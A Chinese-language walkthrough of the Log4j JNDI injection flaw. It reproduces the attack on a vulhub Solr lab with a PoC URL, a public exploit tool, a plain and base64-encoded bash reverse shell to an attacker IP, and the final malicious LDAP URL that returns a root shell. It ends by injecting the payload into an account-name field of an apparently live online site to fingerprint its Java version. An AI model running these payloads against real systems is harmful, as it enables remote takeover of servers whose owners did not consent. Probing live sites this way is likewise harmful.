一.漏洞描述
apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广,小到网站,大到可联网的车都受影响,建议使用了相关版本的应用或者插件,尽快升级修补,做好相关方措施,避免造成不必要的损失
受影响的组件
- Spring-boot-strater-log4j2
- Apache Solr
- Apache Flink
- Apache Druid
二.漏洞复现
在docker环境中启动,这里用的是vulnhub
启动成功后进入环境:
构建Poc:
192.168.56.141:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.bdfuy.log.cve.ink}
其中solr/admin/cores?action为注入点
${jndi:ldap://***.***.***}为固定Poc
下一步进行进一步利用getshell
(1)利用现成工具进行利用
1.首先安装maven,注意环境变量的设置
2.下载现成的工具,这里我用的是这个
https://github.com/sayers522/JNDI-Injection-Exploit
3.到工具根目录下构建exp
mvn clean package -DskipTests
4. 对反弹shell语句进行编码,下面的地址是其中一台攻击机的地址,用于返回shell
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
在线编码网站:
Runtime.exec Payload Generater | AresX's Blog
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
5.getshell
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.56.140"
将shell反弹到win10上,开启监听
将反弹shell命令部署在ldap服务上,这是另外一台攻击机
靶机JDK1.7,利用的是ldap服务
最后构造恶意url访问
http://192.168.56.141:8983/solr/admin/cores?action=${jndi:ldap://192.168.56.140:1389/Exploit7}
等待几秒钟后成功拿到shell
root权限
下面到线上环境测试
用固定Poc与dnslog(没有vps的痛)获取java版本
${jndi:ldap://${sys:java.version}.bdfuy.log.cve.ink}
把Poc直接插入账户名中
知道jdk版本为1.8